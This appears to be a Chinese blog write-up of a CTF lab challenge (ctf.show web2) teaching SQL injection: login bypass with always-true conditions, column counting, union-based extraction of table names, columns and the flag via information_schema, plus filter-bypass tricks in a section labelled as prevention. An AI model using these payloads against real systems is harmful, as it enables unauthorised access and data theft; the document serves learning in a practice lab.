sql注入学习

1、靶场:ctf.show中WEB下第2题(web2)

2、sql注入过程示例

(1)、判断是否存在注入点

如下图所示,用户名输入 aaa' or 1=1 -- a,点击“登录”按钮,若可以登录成功,则存在注入点。

或者用户名处输入 aaa' or 1=1 #,点击“登录”按钮,若可以登录成功,则存在注入点。

  如下图所示,显示登录成功了!

 说明: -- a--a之间有个空格,是sql语句中的一种注释,即: -- 这里是注释内容 --

            #可以紧挨着有内容,是sql语句中的另一种注释,即: #这里是注释内容

(2)、是否有回显点

登录成功后,展示了ctfshow,尝试让这里显示其他内容。

F12查看用户名字段为username,密码为password,使用火狐浏览器的HackBar工具尝试sql注入。

判断登录涉及的表有几个字段,order by 3时,登录显示信息正常,如下图所示:

username=aaa' or 1=1 order by 3 #&password='12'

 order by 4时,登录显示信息异常,如下图所示:

username=aaa' or 1=1 order by 4 #&password='12'

所以判断出,当前登录所涉及的表包含3个字段,如下图所示,使用  select 1,2,3 判断是否存在回显点。

username=aaa' union select 1,2,3 or 1=1 #&password='12'

(3)、查询该网站有几个表

username=aaa'  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 or 1=1  #&password='12'

或 
username=aaa'  union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,3 or 1=1  #&password='12'

username=aaaa'  union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,3 or 1=1  #&password='12'

如下图所示,查询到2个表:

  (4)、查询flag表的字段

username=aaa'  union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag') ,3 or 1=1  #&password='12'

或
username=a'  union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1) ,3 or 1=1  #&password='12'

如下图所示, 查询到flag表字段只有1个也是flag。

 (5)、查询表内容(查找到flag)

username=aaa'  union select 1,(select group_concat(flag) from flag) ,3 or 1=1  #&password='12'

3、其他尝试

尝试将注入语句先后顺序调整,看看效果。

username=aaa'  or 1=1  union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 #&password='12'

 如下图所示,这里的回显点不止显示1条数据。

4、防止sql注入的方法

(1)、后台过滤掉or关键字、空格

——select * from user where name=admin' or 1=1#&password=123

——可以替换为:select * from user where name=admin'||1=1#&password=123

——可以替换为:select * from user where name=admin'||true#&password=123

——可以替换为:select * from user where name=admin'||%091=1#&password=123

注意空格可以用tab键(%09)、换行(%0a)、回车(%0d)、空格(%a0)、注释符(/**/)替换。

(2)、后台过滤掉了'单引号

——select * from user where id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='database1' ,3

——单引号替换为双引号:

select * from user where id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema="database1" ,3

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值